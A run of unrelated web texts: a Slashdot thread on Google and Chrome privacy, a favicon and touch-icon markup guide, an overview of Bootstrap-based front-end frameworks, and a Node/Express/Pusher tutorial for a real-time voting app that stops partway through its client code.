    
    You are very definitely "logged in" to the internet.
    You probably don't get his subtile sarcasm.
    No, he is not "logged in into the internet". Nor am I. But at the moment I'm logged into /. And I'm *connected to the internet*
Conspiracy theory (Score:2, Troll)

by aiht ( 1017790 ) writes:

I have a new conspiracy theory: that Google themselves are deliberately poisoning the well with privacy complaints so ridiculous that we learn to dismiss them as mere paranoia, then when there is a real issue nobody will pay attention.

3: Profit!
if you are concerned about privacy - (Score:5, Insightful)

by swell ( 195815 ) writes: on Sunday September 08, 2019 @01:24AM (#59170330)

why are you using Chrome?

Perhaps you have heard of Firefox, the privacy oriented browser? There are others too. And there are add-ons that can help protect your privacy.

After all these years, anyone using a Google (or FB, etc) product who expects privacy has to be considered a fool.

Ultimately there is no protection. Your data is out there. Google and others will find it. But don't hand it to them on a silver platter and then complain about it.

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- Re: (Score:2)
  
  by fred911 ( 83970 ) writes:
  
  ''But don't hand it to them on a silver platter and then complain about it.''
  
  There's no handing that isn't permissive and fully disclosed by the TOS that is presented each and every time a user opts to use the service. Many of the products and services have ability to choose what or if to share certain type of data. All of them have a dashboard that is easily deleted. I've used their products since they were invite and I've never seem them break any of the terms without notification [and with the ability to
  - Re: (Score:2)
    
    by moronoxyd ( 1000371 ) writes:
    
    You don't have a right to receive service from a business without providing something of value to make useage mutually beneficial.
    
    Incorrect. I do have the right to receive service from a business without providing something if the business doesn't ask for something in return for providing the service.
    No that there are many businesses that provide services without asking for something in return.
  - Re: if you are concerned about privacy - (Score:2)
    
    by Way Smarter Than You ( 6157664 ) writes:
    
    This post you're reading has a TOS. By reading my post you have agreed that: a) you know nothing about the law, b) you're a google employee corporate shill, c) you are happy to give away your privacy forever (a thing of infinite value) in exchange for reading some crap, d) yermom. Yes, yermom. She's part of the shrink wrap TOS you just agreed to.
- Re: (Score:2)
  
  by tepples ( 727027 ) writes:
  
  why are you using Chrome?
  
  Received a pre-Crostini Chromebook as a gift perhaps? A newer Chromebook with Crostini can run Firefox, but older Chromebooks cannot run any application other than Google Chrome without first being put in the self-destructing developer mode.
Don't talk bad about Google you *"#~={% (Score:2, Funny)

by peppepz ( 1311345 ) writes:

Boy, are slashdot commenters upset when they touch their Google.
Cry havoc and loose the EU regulators (Score:3, Informative)

by zkiwi34 ( 974563 ) writes: on Sunday September 08, 2019 @01:37AM (#59170340)

This sort of thing probably breaks a zillion of their privacy regulations.

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His Ghost (Score:2)

by wolfheart111 ( 2496796 ) writes:

Was digitized, and trying to communicate with you... Ya thats gotta be it.
Chrome saved addresses (Score:5, Informative)

by jcam2 ( 248062 ) writes: on Sunday September 08, 2019 @01:43AM (#59170350) Homepage

Chrome saves addresses you enter for shipping destinations, so it can autofill them on other websites. Maybe the OP entered his grandparent's addresses one some website when ordering something online to be shipped to them?

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- Re: (Score:2)
  
  by cascadingstylesheet ( 140919 ) writes:
  
  Chrome saves addresses you enter for shipping destinations, so it can autofill them on other websites. Maybe the OP entered his grandparent's addresses one some website when ordering something online to be shipped to them?
  
  Impossible! It's evil internet magic!!
- Re: (Score:2)
  
  by Stan92057 ( 737634 ) writes:
  
  And why should they save anything when you were never asked to save it..if i do business at a web site and its an https site google has no business data mining on the connection don't ya think? for any reason with out permission and a way to say no.
- Re: (Score:2)
  
  by olau ( 314197 ) writes:
  
  If you actually RTFA, he discusses this and remarks that since it is in all caps, he couldn't have written it himself.
Android phones (Score:2)

by oldnuskeet ( 6194988 ) writes:

I have met a big number of people who have zero internet/ tech knowledge. They donâ(TM)t use email, donâ(TM)t know their own password. Still, when they buy a phone the dealer creates an email for them to log into the App Store. They donâ(TM)t even know they have an account. Of course the dealer doesnâ(TM)t bother with privacy options. So, google tracks them with their phone and can form connections because of their contact list.
My chrome is kind of stupid (Score:2)

by kyoko21 ( 198413 ) writes:

Hmmm...

I just finished reading the article and thought I'd do the same thing. I too found a list of never saved password sites but I mean I pretty knew that because in order to know to never save a password for a site, it has to at least remember which sites to never ask me to save passwords for or else, it is going to keep asking me over and over again if I want to save a password... LOL!

As far as addresses goes, this one I was kind of dumbfounded because the only address it has listed is my own address. H
get really scared (Score:2)

by bigtreeman ( 565428 ) writes:

If you want to be really scared about companies storing and sharing your data, read IBM and the Holocaust by Edwin Black
Not only the Internet (Score:2)

by nospam007 ( 722110 ) * writes:

The Mormons also baptized him posthumously.
When I attempted this, ... (Score:2)

by OneSmartFellow ( 716217 ) writes:

I get a "site not found" error page.

Granted I tried on my Android device, so perhaps this functionality is only available on a non-Android version of chrome
Facebook (Score:2)

by Colourspace ( 563895 ) writes:

I was only on FB for a short while in 2008 before de-activating (I won't say deleting..) my account there. I met my current partner in 2011. Last year she was recommend a 'friend' who was a girl I last dated in 1998 and last spoke to in 2001, well before FB started and I certainly never contacted her through FB. I suspect it's from FB trawling old email addresses, but still.. So their algorithms have a pretty far, pretty scary reach. I have no doubt they still have a shadow profile on me.
- Re: (Score:2)
  
  by angel'o'sphere ( 80593 ) writes:
  
  Many people use the FB app.
  Many people grant the app access to the Addressbook of the phone (for sending messages or using video calls).
  The FB app uploads all your contacts to the server (or not? no idea) ... easy to cross reference in over night batch jobs.
  LinkedIn in and other sites do the same. I as sailing with a Lady and few others. We did not know each other before but exchanged phone numbers, so we can contact each other when we reach the boat and one is still on the way etc.
  Two days after I was back
In loving memory (Score:2)

by fox171171 ( 1425329 ) writes:

I recently had a Google Photos automatically generated video titled "In Loving Memory". It was short, showing maybe four or five pictures that contained my wife's grandmother, who died a year or so ago.

I only had a few pictures from my phone that she was in.

How did Google know who she was? How did they know that she was dead? None of that would have been available from my google account. It doesn't use my real name either, but no doubt connected somehow.

She didn't use computers. I don't use Facebook. My wif
OP should have their internet licence revoked (Score:2)

by noodler ( 724788 ) writes:

Such basic failing of understanding it hurts my head.
Xyz (Score:2)

by Impy the Impiuos Imp ( 442658 ) writes:

A lot of ancestry paperwork on censuses, public info, if buried deep in ancient rusty cabinets, has been entered into computers and is available on ancestry sites. They can make reasonable guesses of linkages as people move around. I found where my mom's parents lived with their little baby, her own mom, thanks to a free trial. And what he was earning for that matter.
- Re: (Score:2)
  
  by iggymanz ( 596061 ) writes:
  
  Nothing "buried deep" about it. States keep public lists of citizens. Also public lists of license holders. Where do you think pollsters got your name and phone number, or your address to do door to door questionnaires? Where do you think the junkmail senders got your info? Trivial for google to get all that (they know your license plate number too)
  
  Here's another shocker for those that somehow are unaware of all this, the companies can even get that data without using the internet (as they have been fo
laughing at you kids (Score:2)

by iggymanz ( 596061 ) writes:

So I see here some theorizing android phones or browser tracking or social media or other digital "big data" stuff. Nonsense.

This Joe T. should know if he's an adult. What an ignoramus. How does someone reach adulthood without knowing?

Where does Joe think pollsters get his phone number? or his address? or junk mailers get his name and address? or the phone books gets name and address and number?

All states, for decades even before the internet was a word, have publically available records and any comp
Oh naivety (Score:2)

by r2kordmaa ( 1163933 ) writes:

ancestry.com, geni.com etc etc, internet has information about your ancestors who were dead before the light bulb was invented.
- Re: (Score:2)
  
  by passionplay ( 607862 ) writes:
  
  Mod parent up. Public records are public. If you want it to not be public, submit a privacy request to remove the data item. You'll have to do it with every service that records public information. Or hire a firm to do it for you.
  - - Re: (Score:2)
      
      by Teun ( 17872 ) writes:
      
      And both forget to explain how this data was paired with him.
      - Re: (Score:2)
        
        by rudy_wayne ( 414635 ) writes:
        
        And both forget to explain how this data was paired with him.
        
        By pulling in billions of pieces of publicly available information and then cross-referencing.
        
        John A Smith bought a house at 1234 Main Street in 1997 (public record)
        Robert L Smith is listed in some other public record as having at 1234 Main Street in 1997.
        
        Even if neither of them owned a computer or ever used the Internet, you can easily make the connection, based on name and address, that they much be related somehow.
        
        Aren't computers magical?
- Re: You have no privacy online. Period. (Score:3)
  
  by buchanmilne ( 258619 ) writes:
  
  "1. Your ISP stores forever all of the sites you visit."
  
  I previously worked for my current ISP. They were able to do analytics on websites used, but only the raw data used to poplulate the DW contained any indentifying information, and was deleted after ETL. The DW only contained domain, count and latency information aggregated by region and product, for operational improvement an product development reasons.
  
  "2. DNS servers store all history of your DNS requests."
  
  Our DNS servers only stored statistics on DN
  - Re: (Score:2)
    
    by markdavis ( 642305 ) writes:
    
    "1. Your ISP stores forever all of the sites you visit."
    " I previously worked for my current ISP. They were able to do analytics on websites used, but only"
    
    Prologue- All browsers not Firefox or Safari are Chrome ("Chrom*)
    
    That is why Google wants to use DNS over HTTPS, so THEY can track you, instead, when you use Chrom*. Don't use Chrom*.
    
    "2. DNS servers store all history of your DNS requests."
    
    " Our DNS servers only stored statistics on DNS operations, no identifying information."
    
    Same
- Re: (Score:2)
  
  by bzipitidoo ( 647217 ) writes:
  
  Some privacy expectations are unreasonable. We have exaggerated notions of what is truly private. Such things as mother's maiden name, Social Security number, and credit card number are simply not private. Many people knew our mothers when they were single. All kinds of bureaucrats have people's official numbers. Every merchant you've ever paid with a credit card can have your credit card number. In small towns, everyone knows everyone, and often everyone's grandparents.
  
  Makes me cringe every time I

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All About Favicons (And Touch Icons)

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All About Favicons (And Touch Icons)

Saved! Click to remove article Apr 21, 2015 html

This week I decided to look into the proper ways to use site favicons (and by extension, mobile "touch icons") across browsers. Although there are already quite a few articles on this topic, I decided to write this post as a way for me to bring together everything I have researched and present it in an easy to understand format for myself and, hopefully, you.

The Basics

The favicon (favourite icon) is an image used by browsers to represent a web page. It is typically 16x16 pixels, but varying and larger sizes are now more frequently required due to browsers using them in a growing number of ways -

The address bar
The links bar
Bookmarks
Tabs
Desktop icon

If we do not specify where to find the favicon, all major browsers (as early as IE5) will by default search for a file named "favicon.ico" in the website's root directory. This means that we technically do not need to declare anything else to have a working favicon.

However, using the ico format can be limiting. It doesn't support transparency, and isn't the most optimized for the web. Nowadays, we are able to use a wider range of formats including png, gif, jpeg, and, in limited circumstances, svg.

Favicon Declaration & the Link Tag

If deviating from the default, favicons can be declared using the <link> tag. The tag accepts the following attributes -

<link rel="" type="" sizes="" href="">

Rel

The rel attribute is used to declare the relationship between the html document and the linked item. We use this for linking stylesheets among other things. With regards to favicons, the official HTML documentation states that this attribute should be set to as -

 <link rel="icon">

However, as you may have seen before, the attribute is sometimes written as -

 <link rel="shortcut icon">

This is because some older browsers (IE8 and below) require it to be written this way, and will ignore the entire tag if otherwise. For this reason, although shortcut icon is not formally part of HTML5, it is still recognised and modern browsers will accept it. However, for reasons I will explain, you may only need to use the official method in practice.

Type

The type attribute specifies the MIME type format of the item being linked. For example an ico file is of the type image/x-icon and a png file image/png.

According to the W3C, specifying the type is "purely advisory":

"The type attribute is used as a hint to user agents so that they can avoid fetching resources they do not support... User agents must not consider the type attribute authoritative"

Despite this, IE 9 and 10 require the type attribute to be specified. In these versions, although the need to define the rel attribute as shortcut icon was removed, they instead added a need to specify the media type as image/x-icon.

Luckily, that is not the case for IE 11, which, like other modern browsers, does not require a media type to be specified.

Sizes

The sizes attribute is used to declare what size you want the particular linked file to be used for. As different sizes are used for different purposes, you can serve optimised files for each of these purposes. This is especially important when using png files, as they are not scalable. Here is a great cheat sheet which shows what sizes you need and what they are used for.

Href

This specifies the location of the favicon.

Putting it together

Browser	Link “rel”/ “type”	Accepted Formats
IE 8 and below	link rel=”shortcut icon”	ico
IE 9, IE 10	link rel=”icon” type=”image/x-icon” or
link rel=”shortcut icon”	ico
IE 11	link rel=”icon”	ico, png, gif
Chrome	link rel=”icon”	ico, png, gif
Firefox	link rel=”icon”	ico, png, gif, svg*
Safari	link rel=”icon”	ico, png, gif
Opera	link rel=”icon”	ico, png, gif

Based on these differences, it may seem like the best method would be to declare two versions - the png files using the modern method and an ico file using the IE8 method.

However, it appears that some modern browsers will choose a linked ico file over a linked png file, regardless of the order they are placed. This means that, if we try to accomodate for the older IE browsers, the modern browsers may be served the wrong format.

Because of this, the best solution may be to only declare the png format files, and let older browsers use the default as a fallback.

<!-- For IE 10 and below -->
<!--  No link, just place a file called favicon.ico in the root directory -->

<!-- For IE 11, Chrome, Firefox, Safari, Opera -->
<link rel="icon" href="path/to/favicon-16.png" sizes="16x16" type="image/png">
<link rel="icon" href="path/to/favicon-32.png" sizes="32x32" type="image/png">
<link rel="icon" href="path/to/favicon-48.png" sizes="48x48" type="image/png">
<link rel="icon" href="path/to/favicon-62.png" sizes="62x62" type="image/png">

Touch Icons for Mobile Devices

Some mobile browsers allow users to bookmark the web page to their home screen. We can provide a special icon to be used in these cases, similar to a native application icon.

The way we define what image to use as this "touch icon" is, of course, dependent on the browser/device.

Device / Browser	Link “rel”	Sizes
Apple / Safari	link rel=”apple-touch-icon” or
link rel=”apple-touch-icon-precomposed”	76x76 - iPad 2 and iPad mini
120x120 - iPhone 4s, 5, 6
152x152 - iPad (retina)
180x180 - iPhone 6 Plus
Apple / Opera Coast	link rel=”icon”
(Will also accept Safari and Windows formats)	228x228
Android / Chrome	link rel=”icon”
(Will, for a limited time, also accept Safari format)	192x192

For Windows, these icons are defined using the meta tag instead.

For Windows 8 / IE 10 -

<meta name="msapplication-TileImage" content="pinned-tile.png">
<meta name="msapplication-TileColor" content="#009900">

For Windows 8.1 / IE 11 -

<!-- In <head> -->
<meta name="msapplication-config" content="ieconfig.xml" />

<!--  In ieconfig.xml -->
<?xml version="1.0" encoding="utf-8"?>
<browserconfig>
  <msapplication>
    <tile>
      <square70x70logo src="images/smalltile.png"/>
      <square150x150logo src="images/mediumtile.png"/>
      <wide310x150logo src="images/widetile.png"/>
      <square310x310logo src="images/largetile.png"/>
      <TileColor>#009900</TileColor>
    </tile>
  </msapplication>
</browserconfig>

That's (pretty much) it! For such a small part of a site, favicons require way too many parts. For very basic sites, I will probably just stick with using the ico format unless I need something fancier. I just can't wait until SVG favicons become a thing, although we are still a long way away!

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Top 10 Front-End Development Frameworks

(Editor’s note: purely for reasons of length and readability, this article is the first of two parts. This one focuses on the Bootstrap family, more will be profiled in the second part.)

As the Web matures and the range of mobile devices we use to access it rapidly grows, our jobs as web designers and developers get considerably more complicated.

A decade ago things were much simpler. Then, it was almost certain that most of our users were visiting our sites while sitting at their desk, looking at a large monitor. 960 pixels was more or less considered as a good width for a web page. Our main care was dealing with the dozen or so desktop browsers and jumping through a few extra browser hacks to support quirky old versions of Internet Explorer. But now, with the boom of handheld electronic devices in the last five to six years, everything has changed. We’ve seen the introduction of smartphones and tablets of all different sizes, eReaders, browsers on TVs and many others. The diversity is only going to increase each day.

Soon, more people will be accessing the Web on their mobile and alternate devices than on a desktop computer. In fact, already a significant number of people use their mobile phones as their only access to the Internet. That means it is important for us designers and developers to understand how to deal with this entire mobile world. And although, as of this writing, we haven’t entirely figured out how to make all the content we are accustomed to seeing at our desk provide an equally pleasing experience on our handheld devices, the technologies and tools for doing that get better.

One of the primary strategies we use when we deal with unknown viewport size is the so-called responsive web design. It’s a mechanism for providing custom layouts to devices based on the size of the browser window. By default, most browsers on small devices such as smartphones and tablets shrink a web page down to fit the screen and provide ways for zooming and moving around the page. Although it technically works, it is not such a great experience. The text is too small to read, the links too small to tap, and all that zooming and panning around is more or less distracting.

The technique of responsive web design is to serve a single HTML document to all devices by applying different style sheets based on the screen size in order to provide the most optimized layout for that device. For example, when the page is viewed on a large desktop browser, the content can be placed into multiple columns with normal navigation elements. But when that same page is viewed on a small smartphone screen, it appears in one column with large links for easy tapping. You can see just how responsive web design works at the Media Queries gallery site. Just open a design in your browser and then resize the window very narrow and very wide, and watch as the layout changes based on the window size.

So far we’ve seen that, at least for now, responsive web design is an sufficient solution for fighting with the growing device diversity, but what are the actual tools and technologies to implement it in our designs? Do we have to be web gurus to handle it or will just the essential skills we already have be enough? Are there any tools that can help us?

This is where front-end development frameworks come into play. Responsive web design is not so hard to implement but it can be a little bit tricky to make it all work on all targeted devices. Frameworks make this job easier. They allow you to create responsive, standard-compliant websites with minimum effort while at the same time keeping everything simple and consistent. Frameworks give you a lot of benefits such as speed and simplicity, consistency across different devices, and much more. One of the most important advantages is that they are so easy to use that even a person with minimal knowledge can utilize them without any problem.

In brief, if you are serious in today’s web development then using frameworks is a must and not an option. Nowadays your site must be extremely flexible in order to satisfy different browsers, tablets, smartphones and a whole bunch of other handheld devices.

A front-end web development framework is simply a collection of production ready HTML/CSS/JavaScript components that we can use in our designs. There are many frameworks out there but some of them stand out from the crowd. For your facilitation below you will find outlined some of the most powerful and popular frameworks available today. Bear in mind that these are not just CSS grids or so, but instead full-featured front-end development frameworks.

1. Bootstrap

Bootstrap is definitely the most popular and widely used framework, nowadays. It’s a beautiful, intuitive and powerful web design kit for creating cross browser, consistent and good looking interfaces. It offers many of the popular UI components with a plain-yet-elegant style, a grid system and JavaScript plugins for common scenarios.

It is built with LESS and consists of four main parts:

Scaffolding – global styles, responsive 12-column grids and layouts. Bear in mind that Bootstrap doesn’t include responsive features by default. If your design needs to be responsive you have to enable this functionality manually.
Base CSS – this includes fundamental HTML elements like tables, forms, buttons, and images, styled and enhanced with extensible classes.
Components – collection of reusable components like dropdowns, button groups, navigation controls (tabs, pills, lists, breadcrumbs, pagination), thumbnails, progress bars, media objects, and more.
JavaScript – jQuery plugins which bring the above components to life, plus transitions, modals, tool tips, popovers, scrollspy (for automatically updating nav targets based on scroll position), carousel, typeahead (a fast and fully-featured autocomplete library), affix navigation, and more.

Bootstrap is already powerful enough to empower any web interface. But in order to make more use of it and making the development process easier, you can find plenty of tools and resources that complement it. Some of them are listed below:

jQuery UI Bootstrap – an awesome resource for jQuery and Bootstrap fans that combines the power of both. It brings nicely the slickness of Bootstrap to jQuery UI widgets.
jQuery Mobile Bootstrap Theme – similar to the jQuery UI theme above, this is a theme built for jQuery Mobile. It is a handy resource if you have a web front-end built with Bootstrap and want to offer a similar look for mobile.
Fuel UX – this extends Bootstrap with additional lightweight JavaScript controls. It’s easy to install, customize, update, and optimize.
StyleBootstrap.info – Bootstrap has its own customizer but StyleBootstrap is a more detailed one with color pickers and the ability to style each component differently
BootSwatchr – a Bootstrap theme roller that shows the immediate results of your changes. For every generated style, the application generates a unique URL in case you want to share it with others or return and edit anytime later.
Bootswatch – a nice set of free themes for Bootstrap.
Bootsnipp – a good collection of design elements and HTML snippets for Bootstrap. It offers also form and button builders.
LayoutIt – drag and drop interface builder based on the elements and components of Bootstrap. It helps you to compose your design visually by placing and arranging different elements into your layout via drag and drop and then allows you to edit their properties. You get the base code and then expand it. Simple and easy.

2. Fbootstrapp

Fbootstrapp is based on Bootstrap and gives you the same functionality for Facebook iframe apps and designs. It includes base CSS and HTML for all standard components like typography, forms, buttons, tables, grids, navigation, and more, styled in the typical Facebook look and feel.

3. BootMetro

BootMetro is a framework inspired by the Metro UI CSS, which is built on top of Bootstrap, for creating Metro/Windows 8-styled websites. It includes all Bootstrap’s features plus some additional extras like tiled pages, an application bar, and more.

4. Kickstrap

Simply put, Kickstrap is a kind of Bootstrap on steroids. It uses Bootstrap as its base and extends it with many apps, themes and extras. This makes the framework a complete kit for building websites without the need to install anything. Just put it in your site and you are ready to go.

Apps are just bundles of JavaScript and CSS files that run together as a package after your page has finished loading. Some of the apps included by default are Knockout.js, Retina.js, Firebug Lite, and Updater. And you can add many more.

Themes give you the ability to differentiate from most Bootstrap websites’ standard look and feel.

Extras are fan-created additions to extend Bootstrap UI library. They usually use the same or similar syntax.

And Next Time…

Here we conclude our journey in the land of Bootstrap related frameworks. Stay tuned for the next part where more frameworks are waiting for you.

Comments on this article are closed. Have a question about CSS frameworks? Why not ask it on our forums?

Ready to start building websites with Bootstrap? Learnable has you covered — start your free trial today.

Meet the author

Ivaylo Gerchev

Ivaylo Gerchev is a self-taught web developer/designer. He loves to play with HTML, CSS, jQuery, PHP, and WordPress, as well as Photoshop and Illustrator. Ivaylo's motto is "Minimum effort for maximum effect!"

javascript
September 04, 2019
By Praveen Kumar

Build a Real-time Voting App with Pusher, Node and Bootstrap

In this article, I’ll walk you through building a full-stack, real-time Harry Potter house voting web application.

Real-time apps usually use WebSockets, a relatively new type of transfer protocol, as opposed to HTTP, which is a single-way communication that happens only when the user requests it. WebSockets allow for persistent communication between the server and the user, and all those users connected with the application, as long as the connection is kept open.

A real-time web application is one where information is transmitted (almost) instantaneously between users and the server (and, by extension, between users and other users). This is in contrast with traditional web apps where the client has to ask for information from the server. — Quora

Our Harry Potter voting web app will show options (all the four houses) and a chart on the right side that updates itself when a connected user votes.

To give you a brief idea of look and feel, the final application is going to look like this:

Here’s a small preview of how the real-time application works:

To make our application real-time, we’re going to use Pusher and WebSockets. Pusher sits as a real-time layer between your servers and your clients. It maintains persistent connections to the clients — over a WebSocket if possible, and falling back to HTTP-based connectivity — so that, as soon as your servers have new data to push to the clients, they can do so instantly via Pusher.

Building our Application

Let’s create our fresh application using the command npm init. You’ll be interactively asked a few questions on the details of your application. Here’s what I had:

[email protected] ➜ Harry-Potter-Pusher $ npm init
{
  "name": "harry-potter-pusher",
  "version": "1.0.0",
  "description": "A real-time voting application using Harry Potter's house selection for my article for Pusher.",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/praveenscience/Harry-Potter-Pusher.git"
  },
  "keywords": [
    "Harry_Potter",
    "Pusher",
    "Voting",
    "Real_Time",
    "Web_Application"
  ],
  "author": "Praveen Kumar Purushothaman",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/praveenscience/Harry-Potter-Pusher/issues"
  },
  "homepage": "https://github.com/praveenscience/Harry-Potter-Pusher#readme"
}

Is this OK? (yes)

So, I left most settings with default values. Now it’s time to install dependencies.

Installing Dependencies

We need Express, body-parser, Cross Origin Resource Sharing (CORS), Mongoose and Pusher installed as dependencies. To install everything in a single command, use the following. You can also have a glance of what this command outputs.

[email protected] ➜ Harry-Potter-Pusher $ npm i express body-parser cors pusher mongoose
npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN [email protected] requires a peer of ajv@^6.0.0 but none is installed. You must install peer dependencies yourself.

+ [email protected]
+ [email protected]
+ [email protected]
+ [email protected]
+ [email protected]
added 264 packages in 40.000s

Requiring Our Modules

Since this is an Express application, we need to include express() as the first thing. While doing it, we also need some accompanying modules. So, initially, let’s start with this:

const express = require("express");
const path = require("path");
const bodyParser = require("body-parser");
const cors = require("cors");

Creating the Express App

Let’s start with building our Express application now. To start with, we need to get the returned object of the express() function assigned to a new variable app:

const app = express();

Serving Static Assets

Adding the above line after the initial set of includes will initialize our app as an Express application. The next thing we need to do is to set up the static resources. Let’s create a new directory in our current project called public and let’s use Express’s static middleware to serve the static files. Inside the directory, let’s create a simple index.html file that says “Hello, World”:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width" />
    <title>Hello, World</title>
  </head>
  <body>
    Hello, World!
  </body>
</html>

To serve the static files, we have a built-in .use() function with express.static() in Express. The syntax is as follows:

app.use( express.static( path.join(__dirname, "public") ) );

We also need to use the body parser middleware for getting the HTTP POST content as JSON to access within the req.body. We’ll also use urlencoded to get the middleware that only parses urlencoded bodies and only looks at requests where the Content-Type header matches the type option. This parser accepts only UTF-8 encoding of the body and supports automatic inflation of gzip and deflate encodings:

app.use( bodyParser.json() );
app.use( bodyParser.urlencoded( { extended: false } ) );

To allow cross-domain requests, we need to enable CORS. Let’s enable the CORS module by using the following code:

app.use( cors() );

Now all the initial configuration has been set. All we need to do now is to set a port and listen to the incoming connections on the specific port:

const port = 3000;
app.listen(port, () => {
  console.log(`Server started on port ${port}.`);
});

Make sure your final app.js looks like this:

const express = require("express");
const path = require("path");
const bodyParser = require("body-parser");
const cors = require("cors");

// Create an App.
const app = express();

// Serve the static files from public.
app.use( express.static( path.join(__dirname, "public") ) );

// Include the body-parser middleware.
app.use( bodyParser.json() );
app.use( bodyParser.urlencoded( { extended: false } ) );

// Enable CORS.
app.use( cors() );

// Set the port.
const port = 3000;
// Listen to incoming connections.
app.listen(port, () => {
  console.log(`Server started on port ${port}.`);
});

Run the command to start the server:

$ npm run dev

Open your http://localhost:3000/ on a new tab and see the magic. You should be seeing a new page with “Hello, World”.

Building the App’s Back End

First thing, let’s create a directory called routes and create a file in there, say vote.js. We need to connect this file with our app.js file, so let’s go back to it and include it under our express() initialization:

const app = express();

// Vote route.
const vote = require("./routes/vote")

Since the routes directory is in the same directory as the app.js, we’ll start with ./. To be able to use this one with the router, let’s go to the bottom and add the router middleware code shown below before the port definition:

app.use("/vote", vote);

Anything that goes through the /vote URL is going to be handled by the vote.js file, provided by the vote variable.

Handling GET and POST Requests

Using Express’s Router instance, we can handle the GET and POST methods through our /vote path. Let’s create a default GET route now and send a default text say, "You are in /vote".

const express = require("express");
const router = express.Router();

// Default get route.
router.get("/", (req, res) => {
  res.send("You are in /vote");
});

The code above routes all the requests to the path /vote to our newly formed routes/vote.js.

Handling POST Requests

We also need a POST handler, where we can trigger the Pusher API. It’s going to be Router.post() for the POST requests to the / so that all the requests will go to /vote because of our middleware. We’ll be giving the same type of arrow functions here, and let’s give a message like "You have POSTed to /vote.":

// Default POST route.
router.post("/", (req, res) => {
  res.send("You have POSTed to /vote.");
});

The res.send() function will be replaced by Pusher API calls in the future.

Exporting the Router

Finally, we have to export the router as a module. Use the module.exports like this at the end. This should be the end of the file, although you can have it any where. Remember, JavaScript is event oriented and not procedural:

// Export the router.
module.exports = router;

At this point, when you see the full vote.js file, it should look something like this:

const express = require("express");
const router = express.Router();

// Default GET route.
router.get("/", (req, res) => {
  res.send("You are in /vote.");
});

// Default POST route.
router.post("/", (req, res) => {
  res.send("You have POSTed to /vote.");
});

// Export the router.
module.exports = router;

Make sure you save everything and now try to run both the URLs in our web browser.

You should see output in your web browsers.

Integrating with the Pusher API

Let’s start by modifying the code we wrote for the POST handler — the one we wrote in the vote.js file. Here’s what we actually want to trigger Pusher. Let’s quickly go to our Pusher Dashboard, and select your Pusher App (praveen-science-app, in my case) and click on the Getting Started tab. You’ll see the code to kickstart.

In our vote.js we need to define (or require) the Pusher library. Then we need to create a new instance (an object) of the Pusher class, and then finally trigger the pusher service inside the POST. I’m changing the vote.js file as shown below:

Note: make sure you change your appId, key, secret to the one given in the dashboard.

const express = require("express");
const router = express.Router();

// ///// Step 1: Include Pusher ///// //
const Pusher = require('pusher');

// ///// Step 2: Instantiate an Object ///// //
const pusher = new Pusher({
  appId: 'appId',
  key: 'key',
  secret: 'secret',
  cluster: 'eu',
  encrypted: true
});

// Default GET route.
router.get("/", (req, res) => {
  res.send("You are in /vote.");
});

// Default POST route.
router.post("/", (req, res) => {
  // ///// Step 3: Trigger the Pusher service ///// //
  pusher.trigger('my-channel', 'my-event', {
    "message": "hello world"
  });
});

// Export the router.
module.exports = router;

The moment a user submits the form, our application fires a POST request to this route, which is going to hit the Pusher API and trigger the Pusher service using the pusher.trigger() function call. Also, we don’t want to use the default values of my-channel and my-event, so let’s change them to hp-voting and hp-house. We also don’t need to send a message, but instead, we’d like to give points and the house information:

router.post("/", (req, res) => {
  pusher.trigger('hp-voting', 'hp-house', {
    "points": 1,
    "house": req.body.house
  });

});

For now, we’re going to assign a value of 1 to the points (I’ll explain why shortly), and we’re using req.body.house for the house, because the value is going to come from the form data, and that is provided using req.body as we’re using body-parser.

Finally, we’ll return a JSON to the browser as response using the res.json() function and pass an object with a boolean success and a message thanking the user for voting and that it has been received successfully:

router.post("/", (req, res) => {
  pusher.trigger('hp-voting', 'hp-house', {
    "points": 1,
    "house": req.body.house
  });

  return res.json({
    "success": true,
    "message": "Thanks for voting."
  });
});

Building the App’s Front End

I’ve used jQuery and Bootstrap to do the front end. Here’s the part where we allow the users to vote.

I’m also going to add a chart container that will chart real-time as the votes are received.

Integrating Everything

We already have the back end done. Now we’ll see how to send the request to the Pusher service when the vote button is clicked, thanks to the front-end JavaScript. We’ll trigger the submit event of the form when the user clicks the button, and it needs to make a POST request to our back end to the route /vote.

Event Listener, User Data and Ajax

Let’s add an event listener for our form submission, code for capturing the user data, and the Ajax call:

// Execute only after the whole document is fetched and assets are loaded.
$(document).ready(function () {
  // Form submission event listener (event handler)
  $("#voteForm").submit(function (e) {
      e.preventDefault();
      // Get the checked input element's value.
      var house = $(".form-check-input:checked").val();
      // Construct the data to be sent as a payload to the AJAX call.
      var data = {
          "house": house
      };
      $.post("/vote", data, function (res) {
          // Log the output in the console.
          console.log(res);
        });
    });
});

Working with Pusher and Charts

When the form is submitted, the Ajax call triggers the /vote endpoint, and the back-end Node app will also trigger the Pusher service using the code below in routes/vote.js:

pusher.trigger('hp-voting', 'hp-house', {
  "points": 1,
  "house": req.body.house
});

When the code above is hit (or run), Pusher service will trigger an event with hp-voting and hp-house. We’re not catching the event or subscribing it yet. So we’re going to implement CanvasJS to build our chart, and we’re going to subscribe to the above event and will be adding the data points by the trigger, specified by the form’s submit event listener.

Adding CanvasJS

Once you add all the bits correctly, your client-side script.js should be similar to this:

// Execute only after the whole document is fetched and assets are loaded.
$(document).ready(function () {
  // Form submission event listener (event handler)
  $("#voteForm").submit(function (e) {
    // Prevent the default event.
    e.preventDefault();
    // Get the checked input element's value.
    var house = $(".form-check-input:checked").val();
    // Construct the data to be sent as a payload to the Ajax call.
    var data = {
      "house": house
    };
    // Fire the POST request Ajax call to our /vote end point.
    $.post("/vote", data, function (res) {
      // Log the output in the console.
      console.log(res);
    });
  });
  // Create the base data points.
  var dataPoints = [
    {
      label: "Gryffindor",
      y: 0
    }, {
      label: "Hufflepuff",
      y: 0
    }, {
      label: "Ravenclaw",
      y: 0
    }, {
      label: "Slytherin",
      y: 0
    }
  ];
  // Initialize Chart using jQuery selector.
  // Get the chart container element.
  var chartContainer = $("#chartContainer");
  // Check if the element exists in the DOM.
  if (chartContainer.length === 1) {
    // Construct the options for the chart.
    var options = {
      "animationEnabled": true,
      "theme": "light1",
      "title": {
        "text": "Harry Potter House Results"
      },
      "data": [
        {
          "type": "column",
          "dataPoints": dataPoints
        }
      ]
    };
